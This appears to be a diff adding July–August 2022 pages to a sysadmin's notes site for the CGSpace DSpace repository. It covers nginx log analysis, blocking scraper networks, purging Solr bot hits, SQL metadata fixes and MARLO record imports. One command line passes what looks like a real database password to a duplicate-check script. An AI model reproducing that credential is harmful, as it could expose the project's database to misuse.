+ International trade and exotic pests: the risks for biodiversity and African economies
+(1 row)
+
+Time: 399.751 ms
+
+

2022-07-03

+
    +
  • Start a harvest on AReS
    • +
+

2022-07-04

+
    +
  • Linode told me that CGSpace had high load yesterday +
      +
    • I also got some up and down notices from UptimeRobot
      • +
    • Looking now, I see there was a very high CPU and database pool load, but a mostly normal DSpace session count
      • +
    +
    • +
+

CPU load day +JDBC pool day

+
    +
  • Seems we have some old database transactions since 2022-06-27:
    • +
+

PostgreSQL locks week +PostgreSQL query length week

+
    +
  • Looking at the top connections to nginx yesterday:
    • +
+
# awk '{print $1}' /var/log/nginx/{access,library-access,oai,rest}.log.1 | sort | uniq -c | sort -h | tail
+   1132 64.124.8.34
+   1146 2a01:4f8:1c17:5550::1
+   1380 137.184.159.211
+   1533 64.124.8.59
+   4013 80.248.237.167
+   4776 54.195.118.125
+  10482 45.5.186.2
+  11177 172.104.229.92
+  15855 2a01:7e00::f03c:91ff:fe9a:3a37
+  22179 64.39.98.251
+
    +
  • And the total number of unique IPs:
    • +
+
# awk '{print $1}' /var/log/nginx/{access,library-access,oai,rest}.log.1 | sort -u | wc -l
+6952
+
    +
  • This seems low, so it must have been from the request patterns by certain visitors +
      +
    • 64.39.98.251 is Qualys, and I’m debating blocking all their IPs using a geo block in nginx (need to test)
      • +
    • The top few are known ILRI and other CGIAR scrapers, but 80.248.237.167 is on InternetVikings in Sweden, using a normal user agentand scraping Discover
      • +
    • 64.124.8.59 is making requests with a normal user agent and belongs to Castle Global or Zayo
      • +
    +
    • +
  • I ran all system updates and rebooted the server (could have just restarted PostgreSQL but I thought I might as well do everything)
    • +
  • I implemented a geo mapping for the user agent mapping AND the nginx limit_req_zone by extracting the networks into an external file and including it in two different geo mapping blocks +
      +
    • This is clever and relies on the fact that we can use defaults in both cases
      • +
    • First, we map the user agent of requests from these networks to “bot” so that Tomcat and Solr handle them accordingly
      • +
    • Second, we use this as a key in a limit_req_zone, which relies on a default mapping of ’’ (and nginx doesn’t evaluate empty cache keys)
      • +
    +
    • +
  • I noticed that CIP uploaded a number of Georgian presentations with dcterms.language set to English and Other so I changed them to “ka” +
      +
    • Perhaps we need to update our list of languages to include all instead of the most common ones
      • +
    +
    • +
  • I wrote a script ilri/iso-639-value-pairs.py to extract the names and Alpha 2 codes for all ISO 639-1 languages from pycountry and added them to input-forms.xml
    • +
+

2022-07-06

+
    +
  • CGSpace went down and up a few times due to high load +
      +
    • I found one host in Romania making very high speed requests with a normal user agent (Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C):
      • +
    +
    • +
+
# awk '{print $1}' /var/log/nginx/{access,library-access,oai,rest}.log | sort | uniq -c | sort -h | tail -n 10
+    516 142.132.248.90
+    525 157.55.39.234
+    587 66.249.66.21
+    593 95.108.213.59
+   1372 137.184.159.211
+   4776 54.195.118.125
+   5441 205.186.128.185
+   6267 45.5.186.2
+  15839 2a01:7e00::f03c:91ff:fe9a:3a37
+  36114 146.19.75.141
+
    +
  • I added 146.19.75.141 to the list of bot networks in nginx
    • +
  • While looking at the logs I started thinking about Bing again + +
    • +
  • Delete two items on CGSpace for Margarita because she was getting the “Authorization denied for action OBSOLETE (DELETE) on BITSTREAM:0b26875a-…” error +
      +
    • This is the same DSpace 6 bug I noticed in 2021-03, 2021-04, and 2021-05
      • +
    +
    • +
  • Update some cg.audience metadata to use “Academics” instead of “Academicians”:
    • +
+
dspace=# UPDATE metadatavalue SET text_value='Academics' WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=144 AND text_value='Academicians';
+UPDATE 104
+
    +
  • I will also have to remove “Academicians” from input-forms.xml
    • +
+

2022-07-07

+
    +
  • Finalize lists of non-AGROVOC subjects in CGSpace that I started last week + +
    • +
+
localhost/dspace= ☘ SELECT DISTINCT(ds6_item2collectionhandle(dspace_object_id)) AS collection, COUNT(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND LOWER(text_value) = 'water demand' GROUP BY collection ORDER BY count DESC LIMIT 5;
+ collection  │ count 
+─────────────┼───────
+ 10568/36178 │    56
+ 10568/36185 │    46
+ 10568/36181 │    35
+ 10568/36188 │    28
+ 10568/36179 │    21
+(5 rows)
+
    +
  • For now I only did terms from my list that had 100 or more occurrences in CGSpace +
      +
    • This leaves us with thirty-six terms that I will send to Sara Jani and Elizabeth Arnaud for evaluating possible inclusion to AGROVOC
      • +
    +
    • +
  • Write to some submitters from CIAT, Bioversity, and CCAFS to ask if they are still uploading new items with their legacy subject fields on CGSpace +
      +
    • We want to remove them from the submission form to create space for new fields
      • +
    +
    • +
  • Update one term I noticed people using that was close to AGROVOC:
    • +
+
dspace=# UPDATE metadatavalue SET text_value='development policies' WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=187 AND text_value='development policy';
+UPDATE 108
+
    +
  • After contacting some editors I removed some old metadata fields from the submission form and browse indexes: +
      +
    • Bioversity subject (cg.subject.bioversity)
      • +
    • CCAFS phase 1 project tag (cg.identifier.ccafsproject)
      • +
    • CIAT project tag (cg.identifier.ciatproject)
      • +
    • CIAT subject (cg.subject.ciat)
      • +
    +
    • +
  • Work on cleaning and proofing forty-six AfricaRice items for CGSpace +
      +
    • Last week we identified some duplicates so I removed those
      • +
    • The data is of mediocre quality
      • +
    • I’ve been fixing citations (nitpick), adding licenses, adding volume/issue/extent, fixing DOIs, and adding some AGROVOC subjects
      • +
    • I even found titles that have typos, looking something like OCR errors…
      • +
    +
    • +
+

2022-07-08

+
    +
  • Finalize the cleaning and proofing of AfricaRice records +
      +
    • I found two suspicious items that claim to have been published but I can’t find in the respective journals, so I removed those
      • +
    • I uploaded the forty-four items to DSpace Test
      • +
    +
    • +
  • Margarita from CCAFS said they are no longer using the CCAFS subject or CCAFS phase 2 project tag +
      +
    • I removed these from the input-form.xml and Discovery facets: +
        +
      • cg.identifier.ccafsprojectpii
        • +
      • cg.subject.cifor
        • +
      +
      • +
    • For now we will keep them in the search filters
      • +
    +
    • +
  • I modified my check-duplicates.py script a bit to fix a logic error for deleted items and add similarity scores from spacy (see: https://stackoverflow.com/questions/8897593/how-to-compute-the-similarity-between-two-text-documents) +
      +
    • I want to use this with the MARLO innovation reports, to find related publications and working papers on CGSpace
      • +
    • I am curious to see how the similarity scores compare to those from trgm… perhaps we don’t need them actually
      • +
    +
    • +
  • Deploy latest changes to submission form, Discovery, and browse on CGSpace +
      +
    • Also run all system updates and reboot the host
      • +
    +
    • +
  • Fix 152 dcterms.relation that are using “cgspace.cgiar.org” links instead of handles:
    • +
+
UPDATE metadatavalue SET text_value = REGEXP_REPLACE(text_value, '.*cgspace\.cgiar\.org/handle/(\d+/\d+)$', 'https://hdl.handle.net/\1') WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=180 AND text_value ~ 'cgspace\.cgiar\.org/handle/\d+/\d+$';
+

2022-07-10

+
    +
  • UptimeRobot says that CGSpace is down +
      +
    • I see high load around 22, high CPU around 800%
      • +
    • Doesn’t seem to be a lot of unique IPs:
      • +
    +
    • +
+
# awk '{print $1}' /var/log/nginx/{access,library-access,oai,rest}.log | sort -u | wc -l
+2243
+

Looking at the top twenty I see some usual IPs, but some new ones on Hetzner that are using many DSpace sessions:

+
$ grep 65.109.2.97 dspace.log.2022-07-10 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+1613
+$ grep 95.216.174.97 dspace.log.2022-07-10 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+1696
+$ grep 65.109.15.213 dspace.log.2022-07-10 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+1708
+$ grep 65.108.80.78 dspace.log.2022-07-10 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+1830
+$ grep 65.108.95.23 dspace.log.2022-07-10 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+1811
+

DSpace sessions week

+
    +
  • +

    These IPs are using normal-looking user agents:

    +
      +
    • Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.9) Gecko/20100101 Goanna/4.1 Firefox/52.9 PaleMoon/28.0.0.1
      • +
    • Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/45.0"
      • +
    • Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:56.0) Gecko/20100101 Firefox/56.0.1 Waterfox/56.0.1
      • +
    • Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.85 Safari/537.36
      • +
    +
    • +
  • +

    I will add networks I’m seeing now to nginx’s bot-networks.conf for now (not all of Hetzner) and purge the hits later:

    +
      +
    • 65.108.0.0/16
      • +
    • 65.21.0.0/16
      • +
    • 95.216.0.0/16
      • +
    • 135.181.0.0/16
      • +
    • 138.201.0.0/16
      • +
    +
    • +
  • +

    I think I’m going to get to a point where I categorize all commercial subnets as bots by default and then whitelist those we need

    +
    • +
  • +

    Sheesh, there are a bunch more IPv6 addresses also on Hetzner:

    +
    • +
+
# awk '{print $1}' /var/log/nginx/{access,library-access}.log | sort | grep 2a01:4f9 | uniq -c | sort -h
+      1 2a01:4f9:6a:1c2b::2
+      2 2a01:4f9:2b:5a8::2
+      2 2a01:4f9:4b:4495::2
+     96 2a01:4f9:c010:518c::1
+    137 2a01:4f9:c010:a9bc::1
+    142 2a01:4f9:c010:58c9::1
+    142 2a01:4f9:c010:58ea::1
+    144 2a01:4f9:c010:58eb::1
+    145 2a01:4f9:c010:6ff8::1
+    148 2a01:4f9:c010:5190::1
+    149 2a01:4f9:c010:7d6d::1
+    153 2a01:4f9:c010:5226::1
+    156 2a01:4f9:c010:7f74::1
+    160 2a01:4f9:c010:5188::1
+    161 2a01:4f9:c010:58e5::1
+    168 2a01:4f9:c010:58ed::1
+    170 2a01:4f9:c010:548e::1
+    170 2a01:4f9:c010:8c97::1
+    175 2a01:4f9:c010:58c8::1
+    175 2a01:4f9:c010:aada::1
+    182 2a01:4f9:c010:58ec::1
+    182 2a01:4f9:c010:ae8c::1
+    502 2a01:4f9:c010:ee57::1
+    530 2a01:4f9:c011:567a::1
+    535 2a01:4f9:c010:d04e::1
+    539 2a01:4f9:c010:3d9a::1
+    586 2a01:4f9:c010:93db::1
+    593 2a01:4f9:c010:a04a::1
+    601 2a01:4f9:c011:4166::1
+    607 2a01:4f9:c010:9881::1
+    640 2a01:4f9:c010:87fb::1
+    648 2a01:4f9:c010:e680::1
+   1141 2a01:4f9:3a:2696::2
+   1146 2a01:4f9:3a:2555::2
+   3207 2a01:4f9:3a:2c19::2
+
    +
  • Maybe it’s time I ban all of Hetzner… sheesh.
    • +
  • I left for a few hours and the server was going up and down the whole time, still very high CPU and database when I got back
    • +
+

CPU day

+
    +
  • I am not sure what’s going on +
      +
    • I extracted all the IPs and used resolve-addresses-geoip2.py to analyze them and extract all the Hetzner networks and block them
      • +
    • It’s 181 IPs on Hetzner…
      • +
    +
    • +
  • I rebooted the server to see if it was just some stuck locks in PostgreSQL…
    • +
  • The load is still higher than I would expect, and after a few more hours I see more Hetzner IPs coming through? Two more subnets to block
    • +
  • Start a harvest on AReS
    • +
+

2022-07-12

+
    +
  • Update an incorrect ORCID identifier for Alliance
    • +
  • Adjust collection permissions on CIFOR publications collection so Vika can submit without approval
    • +
+

2022-07-14

+
    +
  • Someone on the DSpace Slack mentioned having issues with the database configuration in DSpace 7.3 +
      +
    • The reason is apparently that the default db.dialect changed from “org.dspace.storage.rdbms.hibernate.postgres.DSpacePostgreSQL82Dialect” to “org.hibernate.dialect.PostgreSQL94Dialect” as a result of a Hibernate update
      • +
    +
    • +
  • Then I was getting more errors starting the backend server in Tomcat, but the issue was that the backend server needs Solr to be up first!
    • +
+

2022-07-17

+
    +
  • Start a harvest on AReS around 3:30PM
    • +
  • Later in the evening I see CGSpace was going down and up (not as bad as last Sunday) with around 18.0 load…
    • +
  • I see very high CPU usage:
    • +
+

CPU day

+
    +
  • But DSpace sessions are normal (not like last weekend):
    • +
+

DSpace sessions week

+
    +
  • I see some Hetzner IPs in the top users today, but most of the requests are getting HTTP 503 because of the changes I made last week
    • +
  • I see 137.184.159.211, which is on Digital Ocean, and the DNS is apparently iitawpsite.iita.org +
      +
    • I’ve seen their user agent before, but I don’t think I knew it was IITA: “GuzzleHttp/6.3.3 curl/7.84.0 PHP/7.4.30”
      • +
    • I already have something in nginx to mark Guzzle as a bot, but interestingly it shows up in Solr as $http_user_agent so there is a logic error in my nginx config
      • +
    +
    • +
  • Ouch, the logic error seems to be this:
    • +
+
geo $ua {
+    default          $http_user_agent;
+
+    include /etc/nginx/bot-networks.conf;
+}
+
    +
  • After some testing on DSpace Test I see that this is actually setting the default user agent to a literal $http_user_agent
    • +
  • The nginx map docs say:
    • +
+
+

The resulting value can contain text, variable (0.9.0), and their combination (1.11.0).

+
+
    +
  • But I can’t get it to work, neither for the default value or for matching my IP… +
      +
    • I will have to ask on the nginx mailing list
      • +
    +
    • +
  • The total number of requests and unique hosts was not even very high (below here around midnight so is almost all day):
    • +
+
# awk '{print $1}' /var/log/nginx/{access,library-access,oai,rest}.log | sort -u | wc -l
+2776
+# awk '{print $1}' /var/log/nginx/{access,library-access,oai,rest}.log | wc -l
+40325
+

2022-07-18

+
    +
  • Reading more about nginx’s geo/map and doing some tests on DSpace Test, it appears that the geo module cannot do dynamic values +
      +
    • So this issue with the literal $http_user_agent is due to the geo block I put in place earlier this month
      • +
    • I reworked the logic so that the geo block sets “bot” or and empty string when a network matches or not, and then re-use that value in a mapping that passes through the host’s user agent in case geo has set it to an empty string
      • +
    • This allows me to accomplish the original goal while still only using one bot-networks.conf file for the limit_req_zone and the user agent mapping that we pass to Tomcat
      • +
    • Unfortunately this means I will have hundreds of thousands of requests in Solr with a literal $http_user_agent
      • +
    • I might try to purge some by enumerating all the networks in my block file and running them through check-spider-ip-hits.sh
      • +
    +
    • +
  • I extracted all the IPs/subnets from bot-networks.conf and prepared them so I could enumerate their IPs +
      +
    • I had to add /32 to all single IPs, which I did with this crazy vim invocation:
      • +
    +
    • +
+
:g!/\/\d\+$/s/^\(\d\+\.\d\+\.\d\+\.\d\+\)$/\1\/32/
+
    +
  • Explanation: +
      +
    • g!: global, lines not matching (the opposite of g)
      • +
    • /\/\d\+$/, pattern matching / with one or more digits at the end of the line
      • +
    • s/^\(\d\+\.\d\+\.\d\+\.\d\+\)$/\1\/32/, for lines not matching above, capture the IPv4 address and add /32 at the end
      • +
    +
    • +
  • Then I ran the list through prips to enumerate the IPs:
    • +
+
$ while read -r line; do prips "$line" | sed -e '1d; $d'; done < /tmp/bot-networks.conf > /tmp/bot-ips.txt
+$ wc -l /tmp/bot-ips.txt                                                                                        
+1946968 /tmp/bot-ips.txt
+
    +
  • I started running check-spider-ip-hits.sh with the 1946968 IPs and left it running in dry run mode
    • +
+

2022-07-19

+
    +
  • Patrizio and Fabio emailed me to ask if their IP was banned from CGSpace +
      +
    • It’s one of the Hetzner ones so I said yes definitely, and asked more about how they are using the API
      • +
    +
    • +
  • Add ORCID identifer for Ram Dhulipala, Lilian Wambua, and Dan Masiga to CGSpace and tag them and some other existing items:
    • +
+
dc.contributor.author,cg.creator.identifier
+"Dhulipala, Ram K","Ram Dhulipala: 0000-0002-9720-3247"
+"Dhulipala, Ram","Ram Dhulipala: 0000-0002-9720-3247"
+"Dhulipala, R.","Ram Dhulipala: 0000-0002-9720-3247"
+"Wambua, Lillian","Lillian Wambua: 0000-0003-3632-7411"
+"Wambua, Lilian","Lillian Wambua: 0000-0003-3632-7411"
+"Masiga, D.K.","Daniel Masiga: 0000-0001-7513-0887"
+"Masiga, Daniel K.","Daniel Masiga: 0000-0001-7513-0887"
+"Jores, Joerg","Joerg Jores: 0000-0003-3790-5746"
+"Schieck, Elise","Elise Schieck: 0000-0003-1756-6337"
+"Schieck, Elise G.","Elise Schieck: 0000-0003-1756-6337"
+$ ./ilri/add-orcid-identifiers-csv.py -i /tmp/2022-07-19-add-orcids.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • Review the AfricaRice records from earlier this month again +
      +
    • I found one more duplicate and one more suspicious item, so the total after removing those is now forty-two
      • +
    +
    • +
  • I took all the ~560 IPs that had hits so far in check-spider-ip-hits.sh above (about 270,000 into the list of 1946968 above) and ran them directly on CGSpace +
      +
    • This purged 199,032 hits from Solr, very many of which were from Qualys, but also that Chinese bot on 124.17.34.0/24 that was grabbing PDFs a few years ago which I blocked in nginx, but never purged the hits from
      • +
    • Then I deleted all IPs up to the last one where I found hits in the large file of 1946968 IPs and re-started the script
      • +
    +
    • +
+

2022-07-20

+
    +
  • Did a few more minor edits to the forty-two AfricaRice records (including generating thumbnails for the handful that are Creative Commons licensed) then did a test import on my local instance +
      +
    • Once it worked well I did an import to CGSpace:
      • +
    +
    • +
+
$ dspace import -a -e fuuu@example.com -m 2022-07-20-africarice.map -s /tmp/SimpleArchiveFormat
+
    +
  • Also make edits to ~62 affiliations on CGSpace because I noticed they were messed up
    • +
  • Extract another ~1,600 IPs that had hits since I started the second round of check-spider-ip-hits.sh yesterday and purge another 303,594 hits +
      +
    • This is about 999846 into the original list of 1946968 from yesterday
      • +
    • A metric fuck ton of the IPs in this batch were from Hetzner
      • +
    +
    • +
+

2022-07-21

+
    +
  • Extract another ~2,100 IPs that had hits since I started the third round of check-spider-ip-hits.sh last night and purge another 763,843 hits +
      +
    • This is about 1441221 into the original list of 1946968 from two days ago
      • +
    • Again these are overwhelmingly Hetzner (not surprising since my bot-networks.conf file in nginx is mostly Hetzner)
      • +
    +
    • +
  • I responded to my original request to Atmire about the log4j to reload4j migration in DSpace 6.4 +
      +
    • I had initially requested a comment from them in 2022-05
      • +
    +
    • +
  • Extract another ~1,200 IPs that had hits from the fourth round of check-spider-ip-hits.sh earlier today and purge another 74,591 hits +
      +
    • Now the list of IPs I enumerated from the nginx bot-networks.conf is finished
      • +
    +
    • +
+

2022-07-22

+
    +
  • I created a new Linode instance for testing DSpace 7
    • +
  • Jose from the CCAFS team sent me the final versions of 3,500+ Innovations, Policies, MELIAs, and OICRs from MARLO
    • +
  • I re-synced CGSpace with DSpace Test so I can have a newer snapshot of the production data there for testing the CCAFS MELIAs, OICRs, Policies, and Innovations
    • +
  • I re-created the tip-submit and tip-approve DSpace user accounts for Alliance’s new TIP submit tool and added them to the Alliance submitters and Alliance admins accounts respectively
    • +
  • Start working on updating the Ansible infrastructure playbooks for DSpace 7 stuff
    • +
+

2022-07-23

+ +

2022-07-24

+ +

2022-07-25

+
    +
  • More work on DSpace 7 related issues in the Ansible infrastructure playbooks +
      +
    • I see that, for Solr, we will need to copy the DSpace configsets to the writable data directory rather than the default home dir
      • +
    • The Taking Solr to production guide recommends keeping the unzipped code separate from the data, which we do in our Solr role already
      • +
    • So that means we keep the unzipped code in /opt/solr-8.11.2, but the data directory in /var/solr/data, with the DSpace Solr cores here /var/solr/data/configsets
      • +
    • I’m not sure how to integrate that into my playbooks yet
      • +
    +
    • +
  • Much to my surprise, Discovery indexing on DSpace 7 was really fast when I did it just now, apparently taking 40 minutes of wall clock time?!:
    • +
+
$ /usr/bin/time -v /home/dspace7/bin/dspace index-discovery -b
+The script has started
+(Re)building index from scratch.
+Done with indexing
+The script has completed
+        Command being timed: "/home/dspace7/bin/dspace index-discovery -b"
+        User time (seconds): 588.18
+        System time (seconds): 91.26
+        Percent of CPU this job got: 28%
+        Elapsed (wall clock) time (h:mm:ss or m:ss): 40:05.79
+        Average shared text size (kbytes): 0
+        Average unshared data size (kbytes): 0
+        Average stack size (kbytes): 0
+        Average total size (kbytes): 0
+        Maximum resident set size (kbytes): 635380
+        Average resident set size (kbytes): 0
+        Major (requiring I/O) page faults: 1513
+        Minor (reclaiming a frame) page faults: 216412
+        Voluntary context switches: 1671092
+        Involuntary context switches: 744007
+        Swaps: 0
+        File system inputs: 4396880
+        File system outputs: 74312
+        Socket messages sent: 0
+        Socket messages received: 0
+        Signals delivered: 0
+        Page size (bytes): 4096
+        Exit status: 0
+
    +
  • Leroy from the Alliance wrote to say that the CIAT Library is back up so I might be able to download all the PDFs +
      +
    • It had been shut down for a security reason a few months ago and we were planning to download them all and attach them to their relevant items on CGSpace
      • +
    • I noticed one item that had the PDF already on CGSpace so I’ll need to consider that when I eventually do the import
      • +
    +
    • +
  • I had to re-create the tip-submit and tip-approve accounts for Alliance on DSpace Test again +
      +
    • After I created them last week they somehow got deleted…?!… I couldn’t find them or the mel-submit account either!
      • +
    +
    • +
+

2022-07-26

+
    +
  • Rafael from Alliance wrote to say that the tip-submit account wasn’t working on DSpace Test +
      +
    • I think I need to have the submit account in the Alliance admin group in order for it to be able to submit via the REST API, but yesterday I had added it to the submitters group
      • +
    +
    • +
  • Meeting with Peter and Abenet about CGSpace issues +
      +
    • We want to do a training with IFPRI ASAP
      • +
    • Then we want to start bringing the comms people from the Initiatives in
      • +
    • We also want to revive the Metadata Working Group to have discussions about metadata standards, governance, etc
      • +
    • We walked through DSpace 7.3 to get an idea of what vanilla looks like and start thinking about UI, item display, etc (perhaps we solicit help from some CG centers on Angular?)
      • +
    +
    • +
  • Start looking at the metadata for the 1,637 Innovations that Jose sent last week +
      +
    • There are still issues with the citation formatting, but I will just fix it instead of asking him again
      • +
    • I can use these GREL to fix the spacing around “Annual Report2017” and the periods:
      • +
    +
    • +
+
value.replace(/Annual Report(\d{4})/, "Annual Report $1")
+value.replace(/ \./, ".")
+
    +
  • Then there are also some other issues with the metadata that I sent to him for comments
    • +
  • I managed to get DSpace 7 running behind nginx, and figured out how to change the logo to CGIAR and run a local instance using the remote API
    • +
+

2022-07-27

+
    +
  • Work on the MARLO Innovations and MELIA +
      +
    • I had to ask Jose for some clarifications and correct some encoding issues (for example in Côte d’Ivoire all over the place, and weird periods everywhere)
      • +
    +
    • +
  • Work on the DSpace 7.3 theme, mimicking CGSpace’s DSpace 6 them pretty well for now
    • +
+

2022-07-28

+
    +
  • Work on the MARLO Innovations +
      +
    • I had to ask Jose more questions about character encoding and duplicates
      • +
    +
    • +
  • I added a new feature to csv-metadata-quality to add missing regions to the region column when it is detected that there is a country with missing regions
    • +
+

2022-07-30

+
    +
  • Start a full harvest on AReS
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-08/index.html b/docs/2022-08/index.html new file mode 100644 index 000000000..905b0b66b --- /dev/null +++ b/docs/2022-08/index.html @@ -0,0 +1,576 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

August, 2022

+

+ + in + Notes + + +

+
+

2022-08-01

+ +

2022-08-02

+
    +
  • Resume working on the MARLO Innovations +
      +
    • Last week Jose had sent me an updated CSV with UTF-8 formatting, which was missing the filename column
      • +
    • I joined it with the older file (stripped down to just the cg.number and filename columns and then did the same cleanups I had done last week
      • +
    • I noticed there are six PDFs unused, so I asked Jose
      • +
    +
    • +
  • Spent some time trying to understand the REST API submission issues that Rafael from CIAT is having with tip-approve and tip-submit +
      +
    • First, according to my notes in 2020-10, a user must be a collection admin in order to submit via the REST API
      • +
    • Second, a collection must have a “Accept/Reject/Edit Metadata” step defined in the workflow
      • +
    • Also, I referenced my notes from this gist I had made for exactly this purpose! https://gist.github.com/alanorth/40fc3092aefd78f978cca00e8abeeb7a
      • +
    +
    • +
+

2022-08-03

+
    +
  • I came up with an interesting idea to add missing countries and AGROVOC terms to the MARLO Innovation metadata +
      +
    • I copied the abstract column to two new fields: countrytest and agrovoctest and then used this Jython code as a transform to drop terms that don’t match (using CGSpace’s country list and list of 1,400 AGROVOC terms):
      • +
    +
    • +
+
with open(r"/tmp/cgspace-countries.txt",'r') as f :
+    countries = [name.rstrip().lower() for name in f]
+
+return "||".join([x for x in value.split(' ') if x.lower() in countries])
+
    +
  • Then I joined them with the other country and AGROVOC columns +
      +
    • I had originally tried to use csv-metadata-quality to look up and drop invalid AGROVOC terms but it was timing out ever dozen or so requests
      • +
    • Then I briefly tried to use lightrdf to export a text file of labels from AGROVOC’s RDF, but I couldn’t figure it out
      • +
    • I just realized this will not match countries with spaces in our cell value, ugh… and Jython has weird syntax and errors and I can’t get normal Python code to work here, I’m missing something
      • +
    +
    • +
  • Then I extracted the titles, dates, and types and added IDs, then ran them through check-duplicates.py to find the existing items on CGSpace so I can add them as dcterm.relation links
    • +
+
$ csvcut -l -c dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-08-03-Innovations-Cleaned.csv | sed '1s/line_number/id/' > /tmp/innovations-temp.csv
+$ ./ilri/check-duplicates.py -i /tmp/innovations-temp.csv -u dspacetest -db dspacetest -p 'dom@in34sniper' -o /tmp/ccafs-duplicates.csv
+
    +
  • There were about 115 with existing items on CGSpace
    • +
  • Then I did some minor processing and checking of the duplicates file (for example, some titles appear more than once in both files), and joined with the other file (left join):
    • +
+
$ csvjoin --left -c dc.title ~/Downloads/2022-08-03-Innovations-Cleaned.csv ~/Downloads/2022-08-03-Innovations-relations.csv > /tmp/innovations-with-relations.csv
+
    +
  • Then I used SAFBuilder to create a SimpleItemArchive and import to DSpace Test:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx2048m"
+$ dspace import --add --eperson=fuuu@fuuu.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-08-03-innovations.map
+
    +
  • Meeting with Mohammed Salem about harmonizing MEL and CGSpace metadata fields +
      +
    • I still need to share our results and recommendations with Peter, Enrico, Sara, Svetlana, et al
      • +
    +
    • +
  • I made some minor fixes to csv-metadata-quality while working on the MARLO CRP Innovations
    • +
+

2022-08-05

+
    +
  • I discussed issues with the DSpace 7 submission forms on Slack and Mark Wood found that the migration tool creates a non-working submission form +
      +
    • After updating the class name of the collection step and removing the “complete” and “sample” steps the submission form was working
      • +
    • Now the issue is that the controlled vocabularies show up like this:
      • +
    +
    • +
+

Controlled vocabulary bug in DSpace 7

+
    +
  • I think we need to add IDs, I will have to check what the implications of that are + +
    • +
  • Emilio contacted me last week to say they have re-worked their harvester on Hetzner to use a new user agent: AICCRA website harvester +
      +
    • I verified that I see it in the REST API logs, but I don’t see any new stats hits for it
      • +
    • I do see 11,000 hits from that IP last month when I had the incorrect nginx configuration that was sending a literal $http_user_agent so I purged those
      • +
    • It is lucky that we have harvest in the DSpace spider agent example file so Solr doesn’t log these hits, nothing needed to be done in nginx
      • +
    +
    • +
+

2022-08-13

+
    +
  • I noticed there was high load on CGSpace, around 9 or 10 +
      +
    • Looking at the Munin graphs it seems to just be the last two hours or so, with a slight increase in PostgreSQL connections, firewall traffic, and a more noticeable increase in CPU
      • +
    • DSpace sessions are normal
      • +
    • The number of unique hosts making requests to nginx is pretty low, though it’s only 6AM in the server’s time
      • +
    +
    • +
  • I see one IP in Sweden making a lot of requests with a normal user agent: 80.248.237.167 +
      +
    • This host is on Internet Vikings (INTERNETBOLAGET), and I see 140,000 requests from them in Solr
      • +
    • I see reports of excessive scraping on AbuseIPDB.com
      • +
    • I’m gonna add their 80.248.224.0/20 to the bot-networks.conf in nginx
      • +
    • I will also purge all the hits from this IP in Solr statistics
      • +
    +
    • +
  • I also see the core.ac.uk bot making tens of thousands of requests today, but we are already tagging that as a bot in Tomcat’s Crawler Session Manager valve, so they should be sharing a Tomcat session with other bots and not creating too many sessions
    • +
+

2022-08-15

+
    +
  • Start indexing on AReS
    • +
  • Add CONSERVATION to ILRI subjects on CGSpace +
      +
    • I see that AGROVOC has conservation agriculture and I suggested that we use that instead
      • +
    +
    • +
+

2022-08-17

+
    +
  • Peter and Jose sent more feedback about the CRP Innovation records from MARLO +
      +
    • We expanded the CRP names in the citation and removed the cg.identifier.url URLs because they are ugly and will stop working eventually
      • +
    • The mappings of MARLO links will be done internally with the cg.number IDs like “IN-1119” and the Handle URIs
      • +
    +
    • +
+

2022-08-18

+
    +
  • I talked to Jose about the CCAFS MARLO records +
      +
    • He still hasn’t finished re-processing the PDFs to update the internal MARLO links
      • +
    • I started looking at the other records (MELIAs, OICRs, Policies) and found some minor issues in the MELIAs so I sent feedback to Jose
      • +
    • On second thought, I opened the MELIAs file in OpenRefine and it looks OK, so this must have been a parsing issue in LibreOffice when I was checking the file (or perhaps I didn’t use the correct quoting when importing)
      • +
    +
    • +
  • Import the original MELIA v2 CSV file into OpenRefine to fix encoding before processing with csvcut/csvjoin +
      +
    • Then extract the IDs and filenames from the original V2 file and join with the UTF-8 file:
      • +
    +
    • +
+
$ csvcut -c 'cg.number (series/report No.)',File ~/Downloads/MELIA-Metadata-v2-csv.csv > MELIA-v2-IDs-Files.csv
+$ csvjoin -c 'cg.number (series/report No.)' MELIAs\ metadata\ utf8\ 20220816_JM.csv MELIA-v2-IDs-Files.csv > MELIAs-UTF-8-with-files.csv
+
    +
  • Then I imported them into OpenRefine to start metadata cleaning and enrichment
    • +
  • Make some minor changes to cgspace-submission-guidelines +
      +
    • Upgrade to Bootstrap v5.2.0
      • +
    • Dedupe value pairs and controlled vocabularies before writing them
      • +
    • Sort the controlled vocabularies before writing them (we don’t do this for value pairs because some are added in specific order, like CRPs)
      • +
    +
    • +
+

2022-08-19

+
    +
  • Peter Ballantyne sent me metadata for 311 Gender items that need to be duplicate checked on CGSpace before uploading +
      +
    • I spent a half an hour in OpenRefine to fix the dates because they only had YYYY, but most abstracts and titles had more specific information about the date
      • +
    • Then I checked for duplicates:
      • +
    +
    • +
